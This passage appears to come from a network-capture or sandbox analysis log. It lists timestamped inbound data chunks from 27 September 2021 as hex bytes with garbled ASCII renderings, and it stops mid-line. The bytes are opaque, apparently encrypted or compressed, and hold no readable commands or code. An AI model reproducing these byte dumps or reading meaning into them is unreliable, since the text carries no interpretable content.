2021-09-27 16:55:59 UTC	196	IN	Data Raw: 5f 01 80 2f 19 aa 05 6f 25 6a e5 34 a4 c1 65 5c 5e 11 3d a6 46 88 e8 8b 94 4d eb 29 2d bb ca bb a3 b6 54 28 05 82 c9 c3 e8 8b 12 01 7b a2 33 62 e3 d2 56 8b b0 e0 7d fd d4 ed 25 82 31 9a 96 0c e0 42 db be 6c 73 17 13 8a 34 e2 43 2a f9 5c 57 bf 86 cc eb 8f 71 a4 be 6a 5f c7 1c c3 a8 c7 bb 98 3d 8e 79 f7 e2 40 ec 1d 72 b0 ba f0 c0 83 bb b6 6f 3a 51 fe 6d 8c e6 38 ba 89 ba 9e e5 3d 74 02 a4 87 88 6e 55 5e d0 92 13 93 b6 e5 d8 4d 92 ea 29 84 98 d5 7d de d8 bf 9f ac 32 9b 66 27 39 40 dc 6c c9 54 66 24 11 cc 51 88 8b 22 40 01 cf 9d 74 98 73 b2 ad 27 0c 76 c8 a3 bd 5b c9 30 3e 08 9e 60 ba 02 94 3a e1 c5 20 da 13 75 5d a4 0b 3a be db 24 f2 c6 a9 cd 49 e5 8f cc f7 bb dd 0a 70 6d 36 5f f2 fa 43 72 cb 72 74 c4 60 46 62 27 0f 7d 4b d0 96 17 ef a1 19 60 35 de 71 fe 95 Data Ascii: _/o%j4e\^=FM)-T({3bV}%1Bls4C*\Wqj_=y@ro:Qm8=tnU^M)}2f'9@lTf$Q"@ts'v[0>`: u]:$Ipm6_Crrt`Fb'}K`5q
2021-09-27 16:55:59 UTC	198	IN	Data Raw: 90 c5 3b 77 bc df 1a 45 ee 60 56 de c8 1c 2f 9d 57 85 d0 16 90 ad 9e e3 b7 15 09 5f d6 c5 15 37 61 01 7f 71 65 cb cd 6c 14 f2 61 63 75 46 14 89 52 38 d0 bb db 72 56 c9 55 2e b2 8e 28 24 0a a2 a7 46 31 84 2e 3d 17 9a a4 57 86 0d 06 34 d7 15 e5 40 18 63 ad ec 59 55 43 f4 eb 04 f7 b2 13 aa 83 4d 5f fe 09 b4 f3 cc fa a0 1c cf 88 21 62 f9 ac 1c d5 db 76 b3 2c 16 6b 01 c1 31 0a 4b eb e5 35 59 11 7c b7 1b ae 4a 50 f6 34 4c 65 4d 06 e2 94 d0 7a 8f 51 f5 13 ed ca 2c 3d 2e ef 83 a7 19 32 d6 69 4c f5 fe 78 ab 6a 9c 1f 81 c8 66 05 cd 42 57 c9 b0 44 a8 7c ee 43 ab d3 22 7f 35 66 f1 76 f4 3f 58 9e c2 df ca ff 55 8c f7 15 60 a4 75 5c 3a 6a 07 5e 38 63 cf 03 48 40 d5 47 df af db 11 9c 21 46 85 c1 be 4c c0 29 f0 1b c2 e1 a1 da 33 86 e6 56 21 a5 0e 7e f7 75 f5 43 e5 10 b6 Data Ascii: ;wE`V/W_7aqelacuFR8rVU.($F1.=W4@cYUCM_!bv,k1K5Y\|JP4LeMzQ,=.2iLxjfBWD\|C"5fv?XU`u\:j^8cH@G!FL)3V!~uC
2021-09-27 16:55:59 UTC	199	IN	Data Raw: 3d fa 7f 96 af 51 e1 69 7e b2 db e5 d5 c7 b9 bb 0a 35 51 8a 6f e9 d5 02 8a a3 ab 86 87 21 70 04 9f 90 9d 7b 40 3b 80 a5 18 8e a7 e9 de 6a 84 c1 3f 83 98 b7 56 de ff 84 9c b2 32 f8 56 06 34 51 c9 09 99 41 6c 3a 2b ec 44 a2 bd 24 48 75 fa ef 4f 80 64 a5 b8 3a 1b 63 dd b6 d4 7a ea 44 09 18 f7 46 ad 76 b4 58 b2 d7 03 8e 3c 65 38 8d 0d 7b ab cd 56 f9 c6 dc da 4e e5 a8 c1 9a ae d6 66 73 7d 71 5d fe 9f 59 71 bf 7a 63 e6 7b 40 7c 27 0f 08 7d d6 96 13 f9 c8 39 42 41 ef 60 97 b1 cc d5 99 2d ab 92 5c 0c 76 91 77 41 06 80 9b c8 24 45 14 4c d8 ef 02 a7 fb 65 d3 76 fa db a3 54 ae 42 15 ae 13 95 94 76 89 ef 32 11 a1 af 08 fa 74 21 16 25 0b 87 18 b1 44 24 3e 09 af 9d f8 15 22 f3 4b e5 3c 3a ef ec 06 c5 0e 42 fa f7 94 b6 7d dd 54 10 93 57 02 18 49 0c 5f b4 2a 12 03 26 85 Data Ascii: =Qi~5Qo!p{@;j?V2V4QAl:+D$HuOd:czDFvX<e8{VNfs}q]Yqzc{@\|'}9BA`-\vwA$ELevTBv2t!%D$>"K<:B}TWI_*&
2021-09-27 16:55:59 UTC	200	IN	Data Raw: 34 7f eb 0a bc 95 e9 e6 a5 07 c3 e6 14 17 c3 b7 20 f4 d1 4c ad 5c 27 4c 2c c0 3b 01 2e 8c d2 24 6a 11 73 a5 1c 8a 4e 72 fd 3f 29 16 6b 00 d8 90 ca 7e a5 5c fe 3b ee c8 2c 1d 2e ef 88 93 1a 30 90 59 4b 98 f5 71 c5 4a 98 7a c4 c8 07 2d c1 2e 75 a1 e2 69 a3 08 ee 45 cc dd 2f 7f 3c 68 f2 7b f0 50 5d 92 84 d3 ce 9a 33 a0 92 1e 6d d0 77 7f 27 59 32 3f 2c 75 cc 33 49 41 fe 53 de ae af 2b a3 3e 59 96 dc b7 61 a1 29 fd 6f db fe b1 ca 2e f4 c2 43 2c 9d 7c 76 f4 68 c6 63 9d 36 ba a0 31 f4 a1 6e e6 10 80 63 46 9f 83 f5 3d 2c 07 8c 15 ab bc 89 04 f9 21 b4 3d 4d c9 01 1e a3 5d 0d ca 3d 78 49 40 97 31 57 d8 f9 0c e1 53 f6 b9 4d bb 7b a5 57 8d 51 28 5f eb a8 a2 89 ed 08 ae 76 43 2f 2e 4c d1 7b 05 e2 2a 6e ca 0d ba 82 6c a2 7a f9 b8 3a 09 d3 3b 39 f2 92 ee 02 ac bb ab a7 Data Ascii: 4 L\'L,;.$jsNr?)k~\;,.0YKqJz-.uiE/<h{P]3mw'Y2?,u3IAS+>Ya)o.C,\|vhc61ncF=,!=M]=xI@1WSM{WQ(_vC/.L{*nlz:;9
2021-09-27 16:55:59 UTC	201	IN	Data Raw: 57 ac 67 bc 58 87 ee 42 bd 39 17 0e 95 04 57 ba cd 56 f9 c7 e8 c2 4c 8a 99 c7 83 b6 d2 0a 5e 6e 45 50 d1 96 4c 7f b9 76 73 cf 62 34 42 1a 1f 14 64 b3 c4 35 e2 c5 32 6e 35 d2 51 8c aa c9 d5 93 79 91 96 5e 0f 5b 9b 7c 5b 69 b7 91 fc 3d 31 24 4b ba d9 18 c2 bf 4c b6 5d f1 a9 84 4e cb 61 38 c1 3f 9e d5 56 92 df 34 1c b8 be 0c 94 31 0c 0c 1d 0d 81 2e af 4e 16 23 0c a4 90 f3 54 34 e9 39 ef 30 4f ff e7 06 ca 04 41 ac f9 82 ab 40 e2 52 23 82 46 1e 71 68 16 5b a8 6c 26 05 27 b3 72 b2 2a 5d fb db 8d 77 76 c4 d7 a5 b1 61 83 7f ff 90 89 df 80 b6 dc ca 64 9a 5b 22 1d ee ec b6 08 9e d4 31 a2 a1 e8 3d b7 20 e4 32 e2 32 b1 0e d1 3e d5 61 bf ac a3 e2 e6 c3 e7 36 c5 93 c7 8b 5e 9e c7 06 c1 72 94 1c 90 7c d8 d0 3b 83 d2 70 52 47 a8 da 9b 8f 6a 15 25 89 ab c2 00 9d 9d d9 89 Data Ascii: WgXB9WVL^nEPLvsb4Bd52n5Qy^[\|[i=1$KL]Na8?V41.N#T490OA@R#Fqh[l&'r*]wvad["1= 22>a6^r\|;pRGj%
2021-09-27 16:55:59 UTC	203	IN	Data Raw: 24 6a 92 f1 c2 c2 f5 22 a6 92 3b 6a d0 53 75 53 42 0d 5e 1a 69 bb 1a 54 25 f1 5d ad 8e c0 68 8f 3c 44 93 c9 a0 4c 94 35 95 2c f2 e2 bd ed 29 f4 ee 4d 58 97 13 11 f2 73 99 42 8a 53 bc ba 45 f2 a6 76 dc 09 8f 71 41 9f 8d fd 28 0d 17 a3 16 9f b8 9e 25 97 00 be 49 5f c5 09 02 97 75 17 c4 52 3f 6a 5d bd 3b 72 d2 fa 11 b1 71 f7 bd 39 a9 6c b4 41 b4 5e 23 2b c5 c1 a9 89 cf 32 90 60 44 27 34 6d bf 4e 0f 96 21 6e d0 3c ab 98 1f ac 70 e3 ae 17 00 d2 4f 0f f9 94 cb 06 ae b5 a5 ae a4 80 1c e7 47 33 51 0e d9 26 71 af a9 26 27 43 51 7d 4d 31 ef 26 09 c4 21 5a 25 6a d0 59 90 ee 11 7c 76 58 15 9a 29 cf fc fe b1 75 8e 3a 31 d4 da 8c c2 a1 47 46 07 b7 c9 c1 d7 ff 2b 08 0f a4 1b 16 cd d9 44 bb c6 d1 63 e7 d2 d7 09 f1 11 8b 83 21 e2 6a d9 ad 66 2c 0f 76 bc 19 83 73 3f b0 76 Data Ascii: $j";jSuSB^iT%]h<DL5,)MXsBSEvqA(%I_uR?j];rq9lA^#+2`D'4mN!n<pOG3Q&q&'CQ}M1&!Z%jY\|vX)u:1GF+Dc!jf,vs?v
2021-09-27 16:55:59 UTC	204	IN	Data Raw: 03 9f a7 02 b4 d8 35 06 b9 be 1f 9b 45 2a 0d 51 29 94 34 a2 4c 36 20 0d a3 85 d2 36 3c e2 5a f8 1b 21 ee e4 63 f4 00 5b c3 ec e7 98 7a c5 74 3f 92 4e 15 03 4a 0d 44 a3 2a 15 09 3e 89 67 a1 3b 57 e7 db c4 71 76 f4 f0 d6 fa 70 b4 64 fb 87 e7 92 9c bd c1 e1 5e 9b 3e 13 3b e4 e6 a7 03 da fd 3b a3 ac fd 27 d8 34 8a 71 c3 2e a3 0e d1 16 95 41 a2 b8 a3 f9 e7 d4 89 10 ed 9d c7 a7 5c c4 d3 17 c0 1b ba 1c c3 45 c3 be 76 a9 de 42 48 4d b9 ca 83 94 1a 10 2f 9c 86 ee 2c 80 8e b0 a5 2a 50 d7 7d 7b ac 59 0f 8b e1 ad 7b 01 8d 83 cf 25 96 97 80 34 72 d5 cf 06 2b c4 77 59 da f6 14 3e 87 36 b4 c5 00 e4 81 b6 a3 86 11 0d 4a d9 c8 0a 26 08 2b 48 18 71 de d6 40 37 ff 78 68 11 7c 47 a1 49 32 c3 b8 c1 67 51 df 17 1d db a9 32 01 09 95 a4 59 3d e7 67 1c 06 b3 85 55 8d 1a 6a 36 b2 Data Ascii: 5EQ)4L6 6<Z!c[zt?NJD>g;Wqvpd^>;;'4q.A\EvBHM/,*P}{Y{%4r+wY>6J&+Hq@7xh\|GI2gQ2Y=gUj6
2021-09-27 16:55:59 UTC	205	IN	Data Raw: 4b 51 a5 01 5a d8 ea 1f df 51 e7 b5 1d bd 6c b0 65 bf 4c 29 59 f0 a8 b6 89 ed 08 83 77 5b 29 34 47 b4 4c 30 f7 14 6a c9 0f ba 8f 1e b6 1f c8 89 1a 09 d9 2a 2e cc 87 d0 06 af b9 ab aa a2 9a 73 c6 7e 38 45 00 ad 3a 66 ae c0 0a 2a 44 4a 7b 5c 35 e5 26 34 e9 2b 54 56 5a bf 77 8f f5 01 70 70 78 14 92 27 a3 f1 e4 b1 67 8a 3a 12 f4 ca 8b c6 b6 7a 64 04 ab ba a6 f4 e2 18 3e 3a a6 0a 07 f7 c4 22 b3 a3 f5 4e db c4 d1 19 e7 31 8c e2 14 f3 57 f4 be 7b 5e 2d 7d bc 05 90 6f 28 9c 6b 45 bf 8a fd aa ad 74 d6 9c 78 2c 8f 1a a6 bd f9 fa 9e 38 fc 7f e5 91 24 fe 78 63 8e fb f2 c5 f1 b9 a4 1c 52 7d 9f 63 85 d3 03 9a 9a ab 8c 96 4e 76 13 8f 9c a0 7e 5a 1f e4 84 0e 82 a0 f5 ac 5b 93 da 17 b9 9d bb 7b df c8 82 98 b5 24 f8 75 06 2c 6b d2 0e f3 43 6a 3a 07 af 56 a9 9e 09 4e 63 f5 Data Ascii: KQZQleL)Yw[)4GL0j.s~8E:fDJ{\5&4+TVZwppx'g:zd>:"N1W{^-}o(kEtx,8$xcR}cNv~Z[{$u,kCj:VNc
2021-09-27 16:55:59 UTC	207	IN	Data Raw: b2 b0 fd 27 b7 04 ef 55 d8 25 83 19 d7 36 8b 56 d0 83 90 ff f1 d6 fd 06 ed 9f d1 97 42 c4 83 21 f1 69 8a 02 e4 74 df dd 49 b9 ca 65 3c 74 a5 eb 92 87 7e 24 3e 89 ab d2 43 b6 93 de 91 3c 22 e0 0e 1c 8d 5e 50 9e fd df 49 72 fe a1 c8 7a 8e 8b f2 21 01 b2 c8 01 74 ca 6b 4c cf ec 13 3c 98 65 82 ce 05 f5 96 8b e2 b0 0c 6c 5e d2 d3 26 1b 0f 3c 5e 6a 78 da ce 4c 10 e2 7b 63 07 5f 28 9e 54 51 e2 b8 c0 7c 37 cc 5c 3f ed aa 28 12 11 d7 b6 4f 20 db 39 37 11 b1 ec 70 9c 19 3d 34 b5 15 f5 5f 19 6f b3 fd 1f 74 52 ec ff 1b f3 be 25 a3 97 38 69 ec 1b d1 e3 c0 f8 8a 1f ce ed 3f 7e e4 ac 75 df db 56 95 14 1c 50 14 af 26 03 5a b4 ff 3f 46 00 1d 8d 3d 94 4e 5a f7 36 5d 0c 6f 18 f4 b7 dd 57 a8 43 ef 77 e6 ca 58 25 23 f4 a4 aa 69 24 f5 6f 7c f0 d9 6a b1 0e 83 1f f5 ff 53 02 c4 Data Ascii: 'U%6VB!itIe<t~$>C<"^PIrz!tkL<el^&<^jxL{c_(TQ\|7\?(O 97p=4_otR%8i?~uVP&Z?F=NZ6]oWCwX%#i$o\|jS
2021-09-27 16:55:59 UTC	208	IN	Data Raw: 02 fc 29 bf ed ce ad 62 8a 24 1e cf d1 e1 cc a5 51 61 0f bd b8 d3 d3 e7 1d 2f 02 c5 0e 07 f0 e8 52 a6 af ee 63 e1 c5 cb 7a f1 27 8b bd 23 e4 4a d8 b9 60 58 31 13 9b 2c 91 74 2e 94 36 65 da a0 d8 99 a0 64 dd f9 42 2c c1 08 af a5 e9 c9 bf 31 fe 6e ef e2 66 ce 6f 6e a1 ce d1 c4 f7 8c a5 00 22 55 8c 7e 90 92 25 bd 9a b7 8f 91 1d 74 02 ab b1 86 6a 51 2c f4 99 7c 94 b6 f2 f3 78 84 c1 30 89 f9 9c 6d de ce a0 8f a9 2f 81 12 20 34 5d cd 0e f6 47 7b 2a 24 dd 4a b4 93 56 67 68 f3 8a 48 91 65 b4 bc 33 18 65 d3 ba c4 19 ec 55 09 3a ec 4b a0 7b d1 0a 84 e4 2b a9 20 65 24 bc 1b 55 a7 c0 24 d2 de a9 ed 51 e5 af d4 f7 9b c5 0a 50 75 36 7f ea fa 63 6a cb 7e 7d a7 6d 4e 0e 2d 17 7d 6d c9 96 31 f6 a1 3b 79 35 fc 68 fe ef e9 d3 95 5b 82 83 55 35 50 84 62 53 04 97 91 fd 31 45 Data Ascii: )b$Qa/Rcz'#J`X1,t.6edB,1nfon"U~%tjQ,\|x0m/ 4]G{*$JVghHe3eU:K{+ e$U$QPu6cj~}mN-}m1;y5h[U5PbS1E
2021-09-27 16:55:59 UTC	209	IN	Data Raw: bd 7b 8c e3 fb 8e ca 65 69 25 bf a0 59 51 60 55 3e 10 1e be a2 1d 74 9e 03 03 72 0d 55 b1 28 54 b1 d6 a0 6d 39 b8 3e 42 bc c8 c6 61 6b c5 44 2f 5a 8a 47 4a e2 cc fe b7 f9 6c 4a 51 c5 c6 9d 2b 4c 0a d2 08 0e 39 06 98 9d cd 83 d8 57 c7 fa 43 0f bf 6f d3 b8 8d 94 cf 74 aa 89 7e 0b 93 d8 74 b5 b3 27 ca 5e 7e 2e 68 ab 55 67 20 e6 b2 50 34 7a 0c ec 71 e1 2c 36 9c 45 3b 00 1c 11 95 9c ac 02 d5 55 9f 77 81 bd 49 7c 4b 9a ca cc 0c 59 9b 1c 27 85 a4 98 e0 1c 71 5f 89 a8 02 4b a9 3f b3 e0 eb 21 c9 0a 9e ac e5 ae c6 56 77 09 86 05 8a d1 1c f2 84 b7 b4 1b 70 da 13 54 01 d7 12 14 5d 00 62 5c 42 08 b5 52 3c 25 b2 3c a3 c8 a1 60 c0 54 2d f1 29 e7 34 c5 4b 14 56 80 9c c0 99 46 e9 8a 27 58 f4 72 0c 94 19 b9 27 e4 4e dc d0 65 97 cd 0c 8d 45 e1 17 3f 1e fd 94 69 6b 7c ee 7c Data Ascii: {ei%YQ`U>trU(Tm9>BakD/ZGJlJQ+L9WCot~t'^~.hUg P4zq,6E;UwI\|KY'q_K?!VwpT]b\BR<%<`T-)4KVF'Xr'NeE?ik\|\|
2021-09-27 16:55:59 UTC	210	IN	Data Raw: 22 9d 96 56 d3 db 83 4f a2 54 0b ab b0 45 cc 68 35 ce ee 30 51 58 d2 9f 09 e6 87 57 9a 7d e7 ed 3c be 81 71 db 09 9a 60 f9 23 d8 ac 52 d2 d3 03 55 32 a4 8b 9e f4 73 65 23 fa b0 b4 2a e7 95 a2 8e 4b 39 86 67 69 81 38 66 dc fb bf 54 60 e4 d6 d5 37 b7 f6 e9 47 68 c7 c4 67 42 91 6c 2a c3 8c 14 53 fa 38 e9 b2 7d 9e f6 b2 9f ab 6a 05 3f de b5 10 40 08 5a 52 0a 7f a9 cb 0d 1c 82 8c 46 67 66 55 85 32 0c a3 56 13 15 39 be 28 ca 17 db 55 e1 25 c6 44 13 5c 91 5b d9 fa c4 fe b7 a8 6f 6a 50 d9 56 11 87 6a 1f d2 08 86 3d 28 95 9a 5e 17 45 76 d3 f4 cc 48 9c 61 df b9 a5 81 d6 f1 ee 8b 7d 19 95 d1 55 bb bf 31 ca 4f 72 30 62 aa 75 67 2f f8 b7 5a 3f 75 08 d6 ff a2 28 30 9c 5a 2c 45 0e 66 06 54 a7 3f c7 2c 98 71 92 ad 2f 7c 58 9a dd fe 68 56 85 09 a2 29 b7 0a c5 06 e5 68 00 Data Ascii: "VOTEh50QXW}<q`#RU2se#K9gi8fT`7GhgBlS8}j?@ZRFgfU2V9(U%D\[ojPVj=(^EvHa}U1Or0bug/Z?u(0Z,EfT?,q/\|XhV)h
2021-09-27 16:55:59 UTC	211	IN	Data Raw: e7 10 06 1f 75 e1 43 d2 b7 82 db 12 f6 4d 7d a6 ad e9 ab d3 0e 2a 6b c5 cc ae be 8b 71 5a 69 47 6c 68 96 35 27 de cc 87 11 89 ac b7 67 87 5e f8 f2 4f 8a 31 37 5f 15 30 54 02 49 7c ff 05 57 e4 1d 2b a3 de b1 f6 cb 0c b9 e5 03 59 8f 7c d2 48 9f b5 fc 5c 8f 08 16 76 2a 87 1d 14 d3 a7 93 a9 93 cd 57 f3 43 30 f6 02 f9 9c 77 f0 e0 de f7 f5 46 01 7e eb cd e1 11 33 56 8e e8 6e 8e dd 88 a4 20 f8 a7 4f f5 eb 55 e3 b5 a4 f8 f5 c3 57 f9 00 0a 50 33 ba 6f 97 3b 07 53 7a a5 25 c8 f7 58 2f 0f 97 fe 99 a5 1b c7 d1 50 54 0a a0 df a1 04 a9 38 75 62 9b 24 da 1e df 56 e8 84 46 d4 49 19 4f 85 74 39 da 99 24 82 26 f8 a9 0b e7 e5 a0 e5 5f ca 0c 36 0e 2b 36 8d f9 21 10 c8 17 17 b6 8e 1d 07 5e 75 78 09 b2 9e 44 94 a9 5d 00 3d 93 02 f6 c3 a1 a8 fc 29 eb ef 38 6c 35 e4 16 39 69 fa Data Ascii: uCM}kqZiGlh5'g^O17_0TI\|W+Y\|H\vWC0wF~3Vn OUWP3o;Sz%X/PT8ub$VFIOt9$&_6+6!^uxD]=)8l59i
2021-09-27 16:55:59 UTC	212	IN	Data Raw: dc 6d 37 f5 3d 33 9e ea d5 81 ae 78 03 2d d0 a7 10 52 0f 48 48 18 04 bc aa 11 68 95 10 03 69 1d c5 59 3d 54 a3 be a0 89 96 ac 19 49 b3 d4 56 e2 b4 dc c5 29 49 81 54 5d 7e c0 fd b4 31 7a 6d 58 d9 5a 95 33 69 17 c5 95 02 39 34 18 33 5e ff c1 72 c1 e6 4f 02 82 6a cc be be 93 c2 65 b8 09 ea 16 99 cd 67 39 27 23 c4 52 7b 3e 6e a7 5c 66 2f fe a5 d1 ac 75 13 ca fe 66 00 3e bf 58 19 65 3f 74 b5 f5 97 1f f3 30 ae 77 b7 af 1b 7a 73 9b ee de 28 57 d2 1b 60 98 f2 19 80 0e b6 7a c6 a0 4f 6b e0 2e 78 c9 a9 21 87 08 c2 2d 82 bf 08 7f 21 09 d7 18 ca 50 6a fa d0 b6 f3 9a 03 c8 c5 79 5d d0 49 1a 09 06 03 5e 3d 06 d8 5c 5f 25 d3 32 cb c6 c8 68 a4 53 40 e3 c2 d2 42 c0 36 95 02 9d fc c4 d6 46 84 8f 53 58 87 7c 62 91 68 99 53 e5 25 d9 a2 45 ed c3 7b 83 3a e1 13 29 9e d9 95 45 Data Ascii: m7=3x-RHHhiY=TIV)IT]~1zmXZ3i943^rOjeg9'#R{>n\f/uf>Xe?t0wzs(W`zOk.x!-!Pjy]I^=\_%2hS@B6FSX\|bhS%E{:)E
2021-09-27 16:55:59 UTC	214	IN	Data Raw: d2 df 67 5a 27 f9 01 fc 80 e6 67 e9 c0 e2 eb 53 1f 78 f5 de e7 12 29 50 88 fd 72 ef d7 86 ac 35 f8 89 4f fb ec c7 bb 22 ad e2 7c 86 42 ea 93 fa 59 26 3c 2c 97 34 8a 5f 66 2c 30 de 69 4f 33 80 df fd 72 e0 0b ce cb df e9 12 9c c2 af 9a be 36 5d 6b 8c a7 c1 0a d7 78 e0 91 c1 c7 5a 3e 5a e3 7c 28 5e 20 25 82 25 e9 bb 39 64 72 af e5 5f ff 18 7b 12 38 2a f9 f4 39 7d d6 1a 1a a2 01 26 8f 0e 63 6f 60 bb 8b 5a 85 b1 5c 01 34 8b 0f e0 d3 b1 a2 f6 2c e6 fb 37 74 33 fa 00 2b 67 fc f7 94 5e 39 6c 22 bc 87 78 cc f5 2a ab 16 97 8b c5 2b de 34 d7 58 76 e2 54 42 e8 8f da ea d5 c9 ec ba 2c 4b 71 4d 6a e7 db 83 39 3a 45 75 c3 e3 1c f5 74 80 34 99 4c ce 02 88 14 07 21 3a be 1f 7e de 0d 30 71 5f f5 4e 7e 63 46 77 25 df 38 d5 2a 44 e8 0c ce 4a 18 97 c7 e4 0e 22 9c 8e c3 c6 92 Data Ascii: gZ'gSx)Pr5O"\|BY&<,4_f,0iO3r6]kxZ>Z\|(^ %%9dr_{89}&co`Z\4,7t3+g^9l"x+4XvTB,KqMj9:Eut4L!:~0q_N~cFw%8*DJ"
2021-09-27 16:55:59 UTC	215	IN	Data Raw: 91 d0 68 bd a3 27 c4 54 7b 25 60 ad 53 7b 2b e3 fe 57 22 61 0f 45 e7 e7 39 bf d2 4d 3b e4 97 75 95 74 e4 0a d5 b1 02 76 94 bd ad 3e 48 95 d9 d0 7c 45 11 82 22 8d a4 98 81 0d fe 74 8f a8 1a 6e b5 3c 5f d5 f0 a0 8b 00 92 23 d0 b1 5b 62 74 15 94 99 d8 58 31 f2 99 b8 bb 86 58 dd 80 f8 9c d1 05 08 d2 42 61 50 51 08 b3 49 29 a4 f2 31 a3 c8 a1 7b cb 5a 3b 61 9d dc 3b 43 67 88 6a 80 97 d9 bc 4e e9 8a 2a 52 d5 79 19 8c 19 91 2e f8 56 d1 dd 42 91 cd 10 fa 4e f3 7e 28 9f c5 82 30 77 77 e8 79 f9 cf 84 70 eb e5 94 47 1e a9 72 6e e1 bd 4c b0 be 72 3e 5d cf 5e 3d 9c 9d 7f a3 b1 d3 d7 6d dd 02 c3 88 0f 3f 5c 2a 82 b6 c5 f1 9c 70 e5 03 38 5a db bd d0 3a e1 d6 68 05 b1 78 4f 73 6d d7 9e cd f5 f9 c6 b5 41 41 99 fa ac 69 cc ce 5e 8f c2 80 61 e0 06 58 37 61 cb d6 41 db e0 46 Data Ascii: h'T{%`S{+W"aE9M;utv>H\|E"tn<_#[btX1XBaPQI)1{Z;a;CgjNRy.VBN~(0wwypGrnLr>]^=m?\p8Z:hxOsmAAi^aX7aAF
2021-09-27 16:55:59 UTC	216	IN	Data Raw: 32 c3 b3 38 9a ae b5 a6 2c e2 e3 a6 ff d6 bb 17 07 8f 9e 3c 8d eb ab b4 cf 1f 06 a9 04 30 2e 4f 6f 76 1d b4 9b 49 90 a9 5f 0b 3d 87 1a e3 d0 b1 bc e0 30 ff ea 32 74 3a f3 0b 3e 67 fa f7 81 55 11 64 2b b2 94 7c c5 fd 3e ab 16 82 a7 ca 28 c3 2f 51 c2 6a f5 c8 07 ef 1d aa 59 d3 cc 78 e8 b0 dc 7e 43 e5 b5 42 cd 37 41 20 60 c3 ec 98 46 d7 c7 31 9e 33 5d 1b 3d 08 9b 64 27 a4 8c 8e d7 02 bf 39 59 ef 2b 75 51 29 78 33 d3 21 54 6f 42 f8 1f c8 47 28 87 5b 5e 1b 22 99 83 c7 57 82 c6 93 01 f9 e6 df f0 d3 a8 95 30 e9 3e 50 49 81 8b d2 66 9d 98 58 d1 d7 8d 53 b7 46 8a 3c b1 4d ca 68 34 e7 f5 2a c0 c9 ce 88 98 ae 9f 45 85 ed 22 da 2f b5 9b 7b aa 06 f6 70 92 33 ac bb 33 c9 ab 90 08 24 cd 98 f6 fe 14 57 4f f5 dc bb 46 e8 f9 ad e2 44 55 89 0b 7f c8 2b 07 d6 9b aa 3b 6f 88 Data Ascii: 28,<0.OovI_=02t:>gUd+\|>(/QjYx~CB7A `F13]=d'9Y+uQ)x3!ToBG([^"W0>PIfXSF<Mh4*E"/{p33$WOFDU+;o
2021-09-27 16:55:59 UTC	217	IN	Data Raw: cf 4e 03 6a 59 7f 04 b1 56 2a a6 67 38 8d c5 ae 7a 4c 86 38 60 71 d0 2c c0 58 9f 65 97 95 c3 ba 44 f6 9d a3 6d fc 5c 13 93 0e 19 ca f5 4e dc ce 42 92 d6 10 02 d9 e0 05 ae 73 c6 9e 47 78 f2 04 6b 7b 31 e8 7d 78 c3 d0 5b 99 40 64 7b e2 bd dc a3 2f bf c0 3b d1 5c 39 ac 8e fe 55 27 90 50 d4 dd 0c 51 e4 d2 3f 49 36 86 af c2 e5 91 53 c2 12 24 41 54 23 d6 35 65 84 e7 7e b9 6f c9 e0 71 c0 17 88 e7 78 7b b8 48 59 9c e7 bf 62 cb da ff ce d1 fb f3 65 01 5a 30 7c dc 48 11 cf 41 32 56 2f 2c 01 3c 50 84 4f 42 a3 4f 31 05 28 b6 3e eb 9c 60 13 19 14 69 7d 33 d2 b7 83 d9 17 ea 55 72 b1 ad c1 a1 d4 04 22 6f df c0 bb b7 83 66 db ae cf 63 6b 8d be 2a de e6 83 10 98 a3 32 96 90 c2 2a e4 73 97 2a a6 4a 30 23 4f 1a c0 44 63 39 43 f1 10 27 3e fa a5 e3 c1 19 84 ff 0a 57 87 75 cb Data Ascii: NjYVg8zL8`q,XeDm\NBsGxk{1}x[@d{/;\9U'PQ?I6S$AT#5e~oqx{HYbeZ0\|HA2V/,<POBO1(>`i}3Ur"ofck2sJ0#ODc9C'>Wu
2021-09-27 16:55:59 UTC	219	IN	Data Raw: 77 59 6e f5 59 c6 25 42 c9 6d df 75 94 5f 51 81 37 9e df d2 9e 81 1b 83 69 27 ab 9d fa da 02 b4 23 38 ef 24 73 6c 2e 6b af dc 22 5c 6d 49 fd 14 d2 cd 29 9d c2 ed 1e 1f 9e 9f d3 c9 16 ca 15 89 f0 fa da ee d6 b5 90 2c ec 23 55 41 93 ee df 66 9a 85 5d cc d0 90 56 aa 43 97 37 a3 4c c5 67 b1 4e fe 3f d5 dc d6 9f 09 b6 9b c6 99 ee ca e0 32 b5 9e 66 af 1e ee 77 8d 34 ac bb 26 c5 ef 16 1a 3d c8 84 f2 fb 1f 6b 58 69 d9 bb 46 e8 f9 ac f5 d9 f0 86 8e db fa ab 07 d2 8e b1 21 6e 91 d8 ae 4c cc 65 80 47 81 29 b1 67 aa 8b 18 3d b8 1f 75 4f 75 3e e9 a1 76 8c f6 b2 90 de 65 70 30 ab ba 65 4f 7d 55 27 05 14 ae b3 9e d0 91 18 17 f6 f2 45 e2 2e 5d a4 c6 33 ad 36 be 28 c8 4f d8 49 6e 5c d0 dd 3f 46 05 d0 59 71 44 ac 23 fa e8 f3 50 c5 c6 d0 20 62 04 ce 9b 9e 3c 34 19 be 42 84 Data Ascii: wYnY%Bmu_Q7i'#8$sl.k"\mI),#UAf]VC7LgN?2fw4&=kXiF!nLeG)g=uOu>vep0eO}U'E.]36(OIn\?FYqD#P b<4B
2021-09-27 16:55:59 UTC	220	IN	Data Raw: 1e d1 08 b2 38 4c ab 83 a8 c5 ec 99 57 e2 13 2d 48 5a 24 d1 28 61 96 66 0b a4 6a 4e ea 6c c5 1f 8d e7 79 66 bd 4f 5c 9c e6 a2 67 c2 dc de cf d0 e9 73 89 9e 5d 37 61 79 d5 17 dd 64 45 4b 2a 2b 1c 39 58 80 48 40 aa 0f b6 26 29 55 35 e0 9b 65 19 04 11 7b fc 46 cf 16 89 e8 17 eb 48 21 bb fb e1 fc d5 58 28 24 d8 9b a6 e1 8b 3d 5b 34 c5 27 62 db b7 6b d4 88 81 57 88 fe b2 7a 82 42 ff 5f 57 79 dd b7 cb 08 2c 48 13 c8 55 e2 00 4b f9 18 36 bf c3 ad eb c9 10 9b f9 0b 5f 8f 7d c3 c9 a2 bb fa 5c 8f 1a 96 e2 24 8d 1d 17 d1 ba 96 a1 83 dc d7 6f 16 30 fe 0a e8 92 31 fe 89 ce 8d e5 08 11 1f fb af e9 7f 34 17 80 8e 7c 81 d3 e9 ac 28 f6 ae 48 d4 f9 d1 3a bb ac a4 fd b4 57 99 12 0d 58 47 bd 00 99 47 09 3a 74 c6 25 a3 ea 38 21 01 9f ef 1b e8 16 70 dd 5a 4a 17 bc c3 bd 4a ab Data 